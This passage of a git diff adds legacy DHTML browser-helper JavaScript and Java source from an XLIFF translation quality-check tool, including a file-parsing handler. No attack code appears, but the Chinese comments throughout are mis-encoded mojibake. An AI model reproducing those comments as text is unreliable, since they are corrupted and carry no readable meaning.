Object.xDelayedInitElements ) + { + var x = Object.xDelayedInitElements; + for(i=0; i= 0 && nNext < values.length ) + { + functions[nIdx] = values.substr( nStart, nNext-nStart+1); + nStart = nNext + 1; + nIdx++; + nNext = values.indexOf( "\)", nStart); + } + + for( var i=0; i= 0 ) + { + nPageClick = arrForClickCount[j].indexOf("="); + if( nPageClick > 0 ) + { + nClickTimes = arrForClickCount[j].substring( nPageClick + 1, arrForClickCount[j].length) * 1; + break; + } + } + } + var args = srcargs; + if( j < arrForClickCount.length ) + {// to strip out the "clicks=99" from the arguments string + args = ""; + for( var k = 0; k < arrForClickCount.length; k ++ ) + { + if( k != j ) + { + args += arrForClickCount[k]; + if( k < arrForClickCount.length - 1 ) + args += ","; + } + } + } + bsscFXInit( null, id, translatedProp, fnname, args, nClickTimes ); + } +} + +function kadovTranslateProp( prop ) +{ + switch( prop ) + { + case "x-on-hover" : return "bsschover"; + case "x-on-pageclick" : return "bsscpageclick"; + case "x-on-pageload" : return "bsscpageload"; + case "x-on-trigger-1" : return "bssctrigger1"; + case "x-on-trigger-2" : return "bssctrigger2"; + } + return null; +} +//End to convert iWrite format to RoboEditor Format for DHTML effects + +//Begin the definition of one entry to DHTML effects +function bsscFXInit( trigger_ID, target_ID, event_type, + action_type, action_setting, event_addional ) +{ + if( (!CCSSP.bIsWinOS && !CCSSP.bIsSunOS && !(CCSSP.bIsMacOS&&CCSSP.bIsIE5)) || typeof(target_ID) != "string" )//MUST have a target_ID + return; // we don't support Navigator yet + + if( typeof(event_type) == "string" ) + event_type = event_type.toLowerCase(); + if( typeof(action_type) == "string" ) + action_type = action_type.toLowerCase(); + if( typeof(action_setting) == "string" ) + action_setting = action_setting.toLowerCase(); + + // to get the target element then add it to the target list + var eleTarget = CCSSP.GetObject( target_ID ); + if( (eleTarget != null) && (event_type != null) && (action_type != null) ) + { + CEngine.AddOneTarget( target_ID, eleTarget ); + CEngine.BuildTargetObject(target_ID, event_type, action_type, action_setting, event_addional); + } + + // to validate the trigger_ID parameter + if( typeof(trigger_ID) == "string" && trigger_ID != "" ) + CEngine.BuildTriggerObject( trigger_ID, target_ID ); +} +//End the definition of one entry to DHTML effects + + +/// Section End - kadov DHTM (JavaScript 1.2) + + +/// Section Begin - CCSSP DHTM (JavaScript 1.2) + +//Begin JavaScript libary for cross-platform positioning object. +function CCSSP(){} // constructor of CCSSP class + +CCSSP.strAgent = navigator.userAgent.toLowerCase(); +CCSSP.nAppVersion = parseInt(navigator.appVersion); + +CCSSP.bIsWinOS = ((CCSSP.strAgent.indexOf("win") >= 0) || (CCSSP.strAgent.indexOf("16bit") >= 0)); +CCSSP.bIsMacOS = (CCSSP.strAgent.indexOf("mac") >= 0); +CCSSP.bIsSunOS = (CCSSP.strAgent.indexOf("sunos") != -1); + +CCSSP.bIsIE = (navigator.appName.indexOf("Microsoft") >= 0); +CCSSP.bIsIE4 = (CCSSP.bIsIE && (CCSSP.nAppVersion >= 4)); +CCSSP.bIsIE5 = (CCSSP.bIsIE4 && (CCSSP.strAgent.indexOf("msie 5") != -1) ) + +CCSSP.bIsNav = (navigator.appName.indexOf("Netscape") >= 0); +CCSSP.bIsNav4 = (CCSSP.bIsNav && (CCSSP.nAppVersion >= 4)); +CCSSP.bIsNav6 = (CCSSP.bIsNav && (CCSSP.nAppVersion >= 5)); + +CCSSP.GetObject = function( obj ) +{//convert object name string or reference into a valid object reference + if( typeof(obj) == "object" ) + return obj; + else if( typeof(obj) == "string" && obj != "") + { + if( CCSSP.bIsNav4 ) + return eval("document." + obj); + else + return eval("document.all(\"" + obj + "\")"); + } + else + return null; +} + +CCSSP.MoveObjectTo = function(obj, x, y) +{//positioning an object at a specific pixel coordinate + if( CCSSP.bIsNav4 ) + obj.moveTo(x,y); + else + { + obj.style.pixelLeft = x; + obj.style.pixelTop = y; + } +} + +CCSSP.MoveObjectBy = function(obj, dx, dy) +{//moveing a object by x and/or y pixel + if( CCSSP.bIsNav4 ) + obj.moveBy(dx,dy); + else + { + obj.style.pixelLeft += dx; + obj.style.pixelTop += dy; + } +} + +CCSSP.SetObjectBGColor = function(obj, color) +{//set the background color of an object + if( CCSSP.bIsNav4 ) + obj.bgColor = color; + else + obj.style.backgroundColor = color; +} + +CCSSP.ShowObject = function(obj, bShow) +{// set the object to be visible or invisible + if( CCSSP.bIsNav4 ) + obj.visibility = (bShow == true) ? 'show' : 'hide'; + else + obj.style.visibility = (bShow == true) ? 'visible' : 'hidden';// when hidden, it still occupy some space. +} + +CCSSP.GetObjectLeft = function(obj) +{// retrieve the x coordinate of a posionable object + if( CCSSP.bIsNav4 ) + return obj.left; + else + return obj.style.pixelLeft; +} + +CCSSP.GetObjectTop = function(obj) +{// retrieve the y coordinate of a posionable object + if( CCSSP.bIsNav4 ) + return obj.top; + else + return obj.style.pixelTop; +} + +CCSSP.GetObjectContainLeft = function(obj) +{// retrieve the x coordinate of a posionable object relative to it's parent element + if( CCSSP.bIsNav4 ) + return obj.pageX; + else + { + if( obj == document.body ) + return obj.clientLeft; + else + return obj.offsetLeft; + } +} + +CCSSP.GetObjectWindowLeft = function(obj) +{// retrieve the x coordinate of a posionable object relative to browser window + if( CCSSP.bIsNav4 ) + return obj.pageX; + else + { + var nOffsetWindowLeft = 0; + for(var element = obj; element; element = element.offsetParent) + nOffsetWindowLeft += CCSSP.GetObjectContainLeft(element); + return nOffsetWindowLeft; + } +} + +CCSSP.GetObjectContainTop = function(obj) +{// retrieve the y coordinate of a posionable object relative to it's parent element + if( CCSSP.bIsNav4 ) + return obj.pageY; + else + { + if( obj == document.body ) + return obj.clientTop; + else + return obj.offsetTop; + } +} + +CCSSP.GetObjectWindowTop = function(obj) +{// retrieve the y coordinate of a posionable object relative to browser window + if( CCSSP.bIsNav4 ) + return obj.pageY; + else + { + var nOffsetWindowTop = 0; + for(var element = obj; element; element = element.offsetParent) + nOffsetWindowTop += CCSSP.GetObjectContainTop(element); + return nOffsetWindowTop; + } +} + +CCSSP.GetObjectHeight = function(obj) +{// retrieve the height of a posionable object + if( CCSSP.bIsNav4 ) + return obj.clip.height; + else + return obj.offsetHeight; +} + +CCSSP.GetObjectWidth = function(obj) +{// retrieve the width of a posionable object + if( CCSSP.bIsNav4 ) + return obj.clip.width; + else + return obj.offsetWidth; +} + +CCSSP.RegisterEventHandler = function( srcObj, rawEventName, funcHandler ) +{ // to add the "funcHandler" as the "rawEventName" 's handler to the "srcObj" object,the original event handler will be combined + if (CCSSP.bIsNav4 && !CCSSP.bIsNav6) + return ; + var oldHandler = ""; + + if (CCSSP.bIsMacOS &&CCSSP.bIsIE4&&!CCSSP.bIsIE5) + { + if (typeof(srcObj[rawEventName.toLowerCase()])=="unknown") + { //search for \n" + + "\n"; + + /** + * 加æƒç³»æ•°ç”¨åˆ°çš„常é‡ã€‚用于数æ®ç»“æžœå°è£…,ä¸èƒ½æœ¬åœ°åŒ–,这是内部é‡å¤ + */ + public static final String _InternalRepeat = "internalRepeat"; + /** + * 加æƒç³»æ•°ç”¨åˆ°çš„常é‡ã€‚用于数æ®ç»“æžœå°è£…,ä¸èƒ½æœ¬åœ°åŒ–,这是外部101%åŒ¹é… + */ + public static final String _External101 = "external101"; + /** + * 加æƒç³»æ•°ç”¨åˆ°çš„常é‡ã€‚用于数æ®ç»“æžœå°è£…,ä¸èƒ½æœ¬åœ°åŒ–,这是 外部 100ï¼… 匹é…。 + */ + public static final String _External100 = "external100"; + +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/qa/QAXmlHandler.java b/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/qa/QAXmlHandler.java new file mode 100644 index 0000000..5c5e2b7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/qa/QAXmlHandler.java @@ -0,0 +1,2448 @@ +package net.heartsome.cat.ts.core.qa; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.LinkedHashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.TreeMap; + +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.core.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.filesystem.URIUtil; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 对xml文件(xliff,tbx,tmx)的处ç†ï¼ŒåŒ…括数æ®çš„读å–存储等 + * 涉åŠåˆ°ä¸¤ä¸ªåŠŸèƒ½ï¼Œä¸€æ˜¯å“è´¨æ£€æŸ¥ï¼ŒäºŒæ˜¯æ–‡ä»¶åˆ†æž + * 备注:若方法æ¥è‡ªäºŽXLFHandler,那就备注为“æ¥è‡ªXLFHandlerâ€ï¼› + * @author robert 2011-11-11 + */ +public class QAXmlHandler { + private Hashtable vnMap = new Hashtable(); + private Hashtable apMap = new Hashtable(); + /** xliff文件的默认命å空间 */ + private Hashtable xliffXmlnsMap = new Hashtable(); + /** 缓存的VTD导航对象 */ + private VTDNav vnRead; + /** 日志管ç†å™¨ **/ + private final static Logger logger = LoggerFactory.getLogger(QAXmlHandler.class); + /** 文件历å²è®¿é—®åˆ—表。键为文件å,值为文本段的索引,空字符串值为默认值,表示第一个文本段。 **/ + private Map accessHistory = createFileHistory(10, 10); + /** 项目中文件中翻译å•å…ƒè®¡æ•°æ˜ å°„表,键为项目中的XILFF文件,值为该文件翻译å•å…ƒæ€»æ•°ã€‚ **/ + private LinkedHashMap tuSizeMap = new LinkedHashMap(); + public static String XPATH_ALL_TU = "/xliff/file/body//trans-unit[source/text()!='' or source/*]"; + private VTDGen tagVg ; + + + public QAXmlHandler(){ + tagVg = new VTDGen(); + } + + public Map openFile(String filename) { + return openFile(new File(filename), null); + } + + public Map openFile(String filename, IProgressMonitor monitor) { + return openFile(new File(filename), monitor); + } + /** + * 解æžæ–‡ä»¶ï¼ˆåŒæ—¶æ“作进度æ¡ï¼‰ + * @param file + * @param monitor + * @param totalWork + * @return ; + */ + private Map openFile(File file, IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + try { + monitor.beginTask(MessageFormat.format(Messages.getString("qa.QAXmlHandler.task1"), file.getName()), 10); + String filename = file.getAbsolutePath(); + + // 解æžæ–‡ä»¶å¹¶èŽ·å–索引 + VTDGen vgRead = new VTDGen(); + if (vgRead.parseFile(filename, true)) { + vnRead = vgRead.getNav(); + if (monitor.isCanceled()) { + return getReturnResult(); + } + + monitor.worked(3); + try { + AutoPilot ap = new AutoPilot(vnRead); + apMap.put(filename, ap); + + // 记录xliff文件命å空间 + // ap.selectXPath("namespace-uri(/xliff)"); + // String xmlns; + // if ((xmlns = ap.evalXPathToString()) != null) { + // xliffXmlnsMap.put(filename, xmlns); + // } else { + // String errorMsg = "文件“" + filename + "â€ï¼Œä¸æ˜¯åˆæ³•çš„ XLIFF 文件ï¼"; + // return getErrorResult(errorMsg, null); + // } + + monitor.worked(1); + ap.resetXPath(); + + if (monitor.isCanceled()) { + return getReturnResult(); + } + + ap.selectXPath("count(" + XPATH_ALL_TU + ")"); + int countAllTU = (int) ap.evalXPathToNumber(); // 整个xliff文件中的trans-unit节点的个数 + + monitor.worked(6); + + tuSizeMap.put(filename, countAllTU); + vnMap.put(filename, vnRead); + } + + catch (XPathParseException e) { + String errorMsg = Messages.getString("qa.QAXmlHandler.logger1"); + logger.error(errorMsg, e); + return getErrorResult(errorMsg, e); + } + accessHistory.put(filename, ""); + } else { + String errorMsg = MessageFormat.format(Messages.getString("qa.QAXmlHandler.logger2"), filename); + logger.error(errorMsg); + return getErrorResult(errorMsg, null); + } + } finally { + monitor.done(); + } + return getSuccessResult(); + } + + // 获å–错误返回值。 + private Map getErrorResult(String msg, Throwable e) { + if (QAConstant.MODE_DEBUG == QAConstant.RUNNING_MODE && e != null) { + e.printStackTrace(); + } + + Map resultMap = new HashMap(); + resultMap.put(QAConstant.RETURNVALUE_RESULT, QAConstant.RETURNVALUE_RESULT_FAILURE); + resultMap.put(QAConstant.RETURNVALUE_MSG, msg); + resultMap.put(QAConstant.RETURNVALUE_EXCEPTION, e); + return resultMap; + } + // 获å–正确返回值并记录消æ¯æ—¥å¿—。 + @SuppressWarnings("unused") + private Map getSuccessResult(String msg) { + Map resultMap = new HashMap(); + resultMap.put(QAConstant.RETURNVALUE_RESULT, QAConstant.RETURNVALUE_RESULT_SUCCESSFUL); + resultMap.put(QAConstant.RETURNVALUE_MSG, msg); + return resultMap; + } + + // 获å–正确返回值 + private Map getSuccessResult() { + Map resultMap = new HashMap(); + resultMap.put(QAConstant.RETURNVALUE_RESULT, QAConstant.RETURNVALUE_RESULT_SUCCESSFUL); + return resultMap; + } + + /** + * 点击进度æ¡é€€å‡ºç¨‹åºåŽçš„返回值 + * @return + */ + private Map getReturnResult(){ + Map resultMap = new HashMap(); + resultMap.put(QAConstant.RETURNVALUE_RESULT, QAConstant.RETURNVALUE_RESULT_RETURN); + return resultMap; + } + + public LinkedHashMap getTuSizeMap() { + return tuSizeMap; + } + + /** + * 创建文件历å²è®¿é—®åˆ—表。 + * @param initSize 容器åˆå§‹åŒ–大å°ã€‚ + * @param maxSize 容器最大大å°ã€‚ + * @return 返回一个åŒæ­¥çš„有åºçš„文件历å²è®¿é—®åˆ—表容器。
    + * key 为历å²è®¿é—®æ–‡ä»¶è·¯å¾„。
    + * value 为历å²è®¿é—®æ–‡ä»¶å…³é—­æ—¶ç„¦ç‚¹æ‰€åœ¨çš„文本段或是术语的索引。 + * */ + public Map createFileHistory(final int initSize, + final int maxSize) { + return Collections.synchronizedMap(new LinkedHashMap( + initSize, 0.75f, true) { + private static final long serialVersionUID = 1L; + @SuppressWarnings("rawtypes") + public boolean removeEldestEntry(Map.Entry entry) { + return size() > maxSize; + } + }); + } + + /** + * 验è¯vn与ap是å¦å­˜åœ¨ï¼Œå¦åˆ™è¿›è¡Œæ示 + */ + public void validNull(VTDNav vn, AutoPilot ap, String xmlPath){ + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xmlPath); + Assert.isNotNull(ap, Messages.getString("qa.QAXmlHandler.msg1") + xmlPath); + } + + + protected boolean saveAndReparse(XMLModifier xm, String fileName) { + boolean isSaved = save(xm, fileName); + if (!isSaved) { + logger.debug(Messages.getString("qa.QAXmlHandler.logger3")); + return false; + } + // é‡æ–°åŠ è½½ + VTDGen vg = new VTDGen(); + if (vg.parseFile(fileName, true)) { + vnMap.put(fileName, vg.getNav()); + return true; + } + return false; + } + + /** + * ä¿å­˜æ–‡ä»¶ + * @param xm + * XMLModifier对象 + * @param fileName + * 文件å + * @return 是å¦ä¿å­˜æˆåŠŸ; + */ + private boolean save(XMLModifier xm, String fileName) { + return save(xm, new File(fileName)); + } + + /** + * ä¿å­˜æ–‡ä»¶ + * @param xm + * XMLModifier对象 + * @param fileName + * 文件å + * @return 是å¦ä¿å­˜æˆåŠŸ; + */ + private boolean save(XMLModifier xm, File file) { + try { + FileOutputStream fos = new FileOutputStream(file); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + + IPath path = URIUtil.toPath(file.toURI()); + IFile iFile = ResourcesPlugin.getWorkspace().getRoot().getFileForLocation(path); + if (iFile != null) { + iFile.refreshLocal(IResource.DEPTH_ZERO, null); // åŒæ­¥å¯¼èˆªè§†å›¾å’Œæ–‡ä»¶ç³»ç»Ÿ + } + return true; + } catch (ModifyException e) { + e.printStackTrace(); + logger.error(MessageFormat.format(Messages.getString("qa.QAXmlHandler.logger4"), file.getAbsolutePath()), e); + } catch (TranscodeException e) { + e.printStackTrace(); + logger.error(MessageFormat.format(Messages.getString("qa.QAXmlHandler.logger4"), file.getAbsolutePath()), e); + } catch (IOException e) { + e.printStackTrace(); + logger.error(MessageFormat.format(Messages.getString("qa.QAXmlHandler.logger5"), file.getAbsolutePath()), e); + } catch (CoreException e) { + e.printStackTrace(); + logger.error(MessageFormat.format(Messages.getString("qa.QAXmlHandler.logger6"), file.getAbsolutePath()), e); + } + + return false; + } + /** + * 文本段是å¦å·²ç»é”定,æ¥è‡ªXLFHandler + * @param rowId + * 行的唯一标识 + * @return ; + */ + public boolean isLocked(String rowId) { + String translate = this.getTuProp(rowId, "translate"); + return (translate != null && "no".equalsIgnoreCase(translate)); + } + /** + * 得到翻译å•å…ƒçš„属性值 ,æ¥è‡ªXLFHandler + * @param rowId + * 行的唯一标识 + * @param propName + * 属性å + * @return 属性值; + */ + public String getTuProp(String rowId, String propName) { + VTDNav vn = getVTDNavByRowId(rowId); + String tuXPath = RowIdUtil.parseRowIdToXPath(rowId); + try { + VTDUtils vu = new VTDUtils(vn); + return vu.getValue(tuXPath + "/@" + propName); + } catch (NavException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger7"), e); + } + return null; + } + + /** + * 得到当å‰æ‰€è§£æžæ–‡ä»¶çš„所有TU节点的总和 + * @return ; + */ + public int getAllTUSize(){ + int tuSize = 0; + AutoPilot ap = new AutoPilot(); + for (VTDNav vn : vnMap.values()) { + ap.bind(vn); + try { + ap.selectXPath("count(/xliff/file/body//trans-unit)"); + tuSize += ap.evalXPathToNumber(); + }catch (Exception e) { + logger.error(Messages.getString("qa.QAXmlHandler.logger8"), e); + } + } + return tuSize; + } + + /** + * 得到所有语言对 备注:é‡å¤ï¼Œä»ŽXLFHandler.javaä¸­æ‹·å– + * @return 语言对的Map
    + * key: æºè¯­è¨€ï¼›value: 对应的目标语言(å¯ä»¥æ˜¯å¤šä¸ªï¼‰ + */ + public Map> getLanguages() { + TreeMap> languages = new TreeMap>(); + AutoPilot ap = new AutoPilot(); + VTDUtils vu = new VTDUtils(); + for (VTDNav vn : vnMap.values()) { + ap.bind(vn); + try { + vu.bind(vn); + ap.selectXPath("/xliff/file"); + while (ap.evalXPath() != -1) { + String srcLanguage = vu.getCurrentElementAttribut("source-language", null); + String tgtLanguage = vu.getCurrentElementAttribut("target-language", null); + + if (srcLanguage == null) { + // TODO 该file节点ä¸å­˜åœ¨â€œsource-languageâ€å±žæ€§ï¼Œæ醒添加 + continue; + } + if (tgtLanguage == null) { + // TODO 该file节点ä¸å­˜åœ¨â€œtarget-languageâ€å±žæ€§ï¼Œæ醒添加 + continue; + } + ArrayList tgtLanguages = languages.get(srcLanguage); + if (tgtLanguages == null) { + tgtLanguages = new ArrayList(); + languages.put(srcLanguage, tgtLanguages); + } + if (!tgtLanguages.contains(tgtLanguage)) { // 未包å«ï¼Œå°±æ·»åŠ è¿›åŽ» + tgtLanguages.add(tgtLanguage); + } + } + } catch (XPathParseException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger9"), e); + } catch (XPathEvalException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger10"), e); + } catch (NavException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger11"), e); + } + } + return languages; + } + + /** + * 通过æºä¸Žç›®æ ‡è¯­è¨€å¾—到所有当å‰æ‰“开的文件包å«çš„ RowId + * ///xliff/file//descendant::trans-unit[(source/text()!='' or source/*)] + * @return ; + */ + public List getAllRowIdsByLanguages(String srcLanguage, String tgtLanguage) { + List allRowIds = new LinkedList(); + AutoPilot ap = new AutoPilot(); + VTDUtils vu = new VTDUtils(); + for (Entry entry : vnMap.entrySet()) { + String fileName = entry.getKey(); + VTDNav vn = entry.getValue(); + ap.bind(vn); + try { + vu.bind(vn); + // 查询相åŒç›®æ ‡ä¸Žç›¸åŒæºæ–‡æœ¬çš„tu + String XPATH_ALL_TU_BYLANGUAGE = "/xliff/file[upper-case(@source-language)=''{0}'' and upper-case(@target-language)=''{1}'']/body/descendant::trans-unit[(source/text()!='''' or source/*)]"; + String xpath = MessageFormat.format(XPATH_ALL_TU_BYLANGUAGE, new Object[] { srcLanguage, tgtLanguage }); + + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + String rowId = RowIdUtil.getRowId(vn, fileName); + if (rowId != null) { + allRowIds.add(rowId); + } + } + } catch (NavException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger11"), e); + } catch (XPathParseException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger9"), e); + } catch (XPathEvalException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger10"), e); + } + } + return allRowIds; + } + + + /** + * 获å–æŸèŠ‚点的总数 + * @return + */ + public int getNodeCount(String xlfPath, String nodeXpath){ + int nodeNum = 0; + VTDNav vn = vnMap.get(xlfPath); + AutoPilot ap = apMap.get(xlfPath); + validNull(vn, ap, xlfPath); + + try { + ap.selectXPath("count(" + nodeXpath + ")"); + nodeNum = (int) ap.evalXPathToNumber(); + + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger9"), e); + } + + return nodeNum; + } + + /** + * 获å–trans-unit节点过滤åŽçš„值,过滤æ¡ä»¶ä¸ºä¸åŒ…括上下文匹é…,ä¸åŒ…括完全匹é…,ä¸åŒ…括已é”文本,过滤æ¡ä»¶åœ¨é¦–选项中设置 + * @return Map 两个键值对,srcPureText --> æºæ–‡æœ¬çš„纯文本,tarPureText --> 目标文本的纯文本 + * 如果返回的是null,则标志source节点无内容,这对与行å·å°±ä¸è‡ªå¢ž + */ + public Map getFilteredTUPureText(String xlfPath, String nodeXpath, Map filterMap){ + Map filteredTuPureTextMap = new HashMap(); + VTDNav vn = vnMap.get(xlfPath); + AutoPilot ap = new AutoPilot(vn); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xlfPath); + AutoPilot childAp = new AutoPilot(vn); + try { + VTDUtils vUtils = new VTDUtils(vn); + ap.selectXPath(nodeXpath); + while (ap.evalXPath() != -1) { + + vn.push(); + //å–出æºæ–‡æœ¬çš„纯文本之å‰ï¼Œå…ˆæŸ¥çœ‹å…¶å†…容是å¦ä¸ºç©ºï¼Œè‹¥ä¸ºç©ºï¼Œåˆ™è¿”回,没有source节点,也返回null + childAp.selectXPath("./source"); + if (childAp.evalXPath() != -1) { //因为标准里é¢åªæœ‰ä¸€ä¸ªsource,因此此处用ifä¸ç”¨while + String srcContent = vUtils.getElementContent(); + //如果æºæ–‡æœ¬ä¸ºç©ºæˆ–无值,则返回null + if (srcContent == null || "".equals(srcContent)) { + return null; + }else { + filteredTuPureTextMap.put("srcPureText", getTUPureText(vn)); + } + }else { + return null; + } + childAp.resetXPath(); + vn.pop(); + + //首先过滤,如果有ä¸åº”包括的文本段,则返回空 + if (!filterTheTU(vn, filterMap)) { + return filteredTuPureTextMap; + } + + //下é¢èŽ·å–目标文本的纯文本,在之å‰å…ˆæ£€æŸ¥ç›®æ ‡æ–‡æœ¬æ˜¯å¦ä¸ºç©ºæˆ–为空值,若是,则返回null,若没有target节点,也返回空 + childAp.selectXPath("./target"); + if (childAp.evalXPath() != -1) { //因为标准里é¢åªæœ‰ä¸€ä¸ªtarget,因此此处用ifä¸ç”¨while + String tarContent = vUtils.getElementContent(); + //如果æºæ–‡æœ¬ä¸ºç©ºæˆ–无值,则返回null + if (tarContent == null || "".equals(tarContent)) { + return filteredTuPureTextMap; + }else { + filteredTuPureTextMap.put("tarPureText", getTUPureText(vn)); + } + }else { + return filteredTuPureTextMap; + } + childAp.resetXPath(); + } + + } catch (Exception e) { + logger.error(Messages.getString("qa.QAXmlHandler.logger12"), e); + } + + return filteredTuPureTextMap; + } + + public VTDNav getVTDNav(String xmlLocation){ + VTDNav vn = vnMap.get(xmlLocation); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xmlLocation); + return vn; + } + + /** + * 获å–trans-unit节点过滤åŽçš„值,过滤æ¡ä»¶ä¸ºä¸åŒ…括上下文匹é…,ä¸åŒ…括完全匹é…,ä¸åŒ…括已é”文本,过滤æ¡ä»¶åœ¨é¦–选项中设置 + * @return Map 六个键值对,srcPureText --> æºæ–‡æœ¬çš„纯文本,tarPureText --> 目标文本的纯文本, srcContent --> + * æºæ–‡æœ¬çš„内容,tarContent --> 目标文本的内容 , srcTag --> æºæ–‡æœ¬çš„标记, tarTag --> 目标文本的标记; + * 如果返回的是null,则标志source节点无内容,这对与行å·å°±ä¸è‡ªå¢ž + * @param xlfPath + * @param nodeXpath + * @param filterMap 过滤æ¡ä»¶ + * @return ; + */ + public Map getFilteredTUText(String xlfPath, String nodeXpath, Map filterMap){ + Map filteredTuTextMap = new HashMap(); + VTDNav vn = vnMap.get(xlfPath); + AutoPilot ap = new AutoPilot(vn); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xlfPath); + AutoPilot childAp = new AutoPilot(vn); + try { + VTDUtils vUtils = new VTDUtils(vn); + ap.selectXPath(nodeXpath); + while (ap.evalXPath() != -1) { + String rowId = RowIdUtil.getRowId(vn, xlfPath); + filteredTuTextMap.put("rowId", rowId); + + vn.push(); + //å–出æºæ–‡æœ¬çš„纯文本之å‰ï¼Œå…ˆæŸ¥çœ‹å…¶å†…容是å¦ä¸ºç©ºï¼Œè‹¥ä¸ºç©ºï¼Œåˆ™è¿”回null,没有source节点,也返回null + childAp.selectXPath("./source"); + if (childAp.evalXPath() != -1) { //因为标准里é¢åªæœ‰ä¸€ä¸ªsource,因此此处用ifä¸ç”¨while + String srcContent = vUtils.getElementContent(); + //如果æºæ–‡æœ¬ä¸ºç©ºæˆ–无值,则返回null + if (srcContent == null || "".equals(srcContent)) { + return null; + }else { + filteredTuTextMap.put("srcPureText", getTUPureText(vn)); + filteredTuTextMap.put("srcContent", srcContent); + } + }else { + return null; + } + childAp.resetXPath(); + vn.pop(); + + //首先过滤,如果有ä¸åº”包括的文本段,则返回一个空对象 + if (!filterTheTU(vn, filterMap)) { + filteredTuTextMap.clear(); + return filteredTuTextMap; + } + + //下é¢èŽ·å–目标文本的纯文本,在之å‰å…ˆæ£€æŸ¥ç›®æ ‡æ–‡æœ¬æ˜¯å¦ä¸ºç©ºæˆ–为空值,若是,则返回null,若没有target节点,也返回空 + childAp.selectXPath("./target"); + if (childAp.evalXPath() != -1) { //因为标准里é¢åªæœ‰ä¸€ä¸ªtarget,因此此处用ifä¸ç”¨while + String tarContent = vUtils.getElementContent(); + //如果æºæ–‡æœ¬ä¸ºç©ºæˆ–无值,则返回空对象 + if (tarContent == null || "".equals(tarContent)) { + return filteredTuTextMap; + }else { + filteredTuTextMap.put("tarPureText", getTUPureText(vn)); + filteredTuTextMap.put("tarContent", tarContent); + } + }else { + return filteredTuTextMap; + } + childAp.resetXPath(); + } + + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger13"), e); + } + + return filteredTuTextMap; + } + + /** + * 针对åˆå¹¶æ‰“开的文本段一致性检查的情况,获å–trans-unit节点过滤åŽçš„值,过滤æ¡ä»¶ä¸ºä¸åŒ…括上下文匹é…,ä¸åŒ…括完全匹é…,ä¸åŒ…括已é”文本,过滤æ¡ä»¶åœ¨é¦–选项中设置 + * @param xlfPath + * @param nodeXpath + * @param filterMap 过滤æ¡ä»¶ + * @return ; + */ + public Map getFilteredTUTextForMultiParaConsis(List rowIdList, Map filterMap, + boolean checkSameSource, boolean checkSameTarget, boolean srcIgnoreTag, boolean tarIgnoreTag){ + Map filteredTuTextMap = new HashMap(); + try { + + //为了æ高系统性能,这里是å¦èŽ·å–其纯文本,è¦è¿›è¡Œä¸€å®šçš„验è¯ã€‚ + //检查项有两个,å³ç›¸åŒæºæ–‡ä¸åŒè¯‘文,相åŒè¯‘æ–‡ä¸åŒæºæ–‡ï¼Œå¦‚æžœæŸé¡¹ä¸æ£€æŸ¥ï¼Œé‚£ä¹ˆå®ƒçš„忽略标记为false + if (!checkSameSource) { + srcIgnoreTag = false; + } + if (!checkSameTarget) { + tarIgnoreTag = false; + } + + for(String rowId : rowIdList){ + String xlfPath = RowIdUtil.getFileNameByRowId(rowId); + VTDNav vn = vnMap.get(xlfPath); + AutoPilot ap = new AutoPilot(vn); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xlfPath); + AutoPilot childAp = new AutoPilot(vn); + + + VTDUtils vUtils = new VTDUtils(vn); + ap.selectXPath(RowIdUtil.parseRowIdToXPath(rowId)); + if (ap.evalXPath() != -1) { + ParaConsisDataBean dataBean = new ParaConsisDataBean(); + + vn.push(); + //å–出æºæ–‡æœ¬çš„纯文本之å‰ï¼Œå…ˆæŸ¥çœ‹å…¶å†…容是å¦ä¸ºç©ºï¼Œè‹¥ä¸ºç©ºï¼Œåˆ™è¿”回null,没有source节点,也返回null + childAp.selectXPath("./source"); + if (childAp.evalXPath() != -1) { //因为标准里é¢åªæœ‰ä¸€ä¸ªsource,因此此处用ifä¸ç”¨while + String srcContent = vUtils.getElementContent(); + 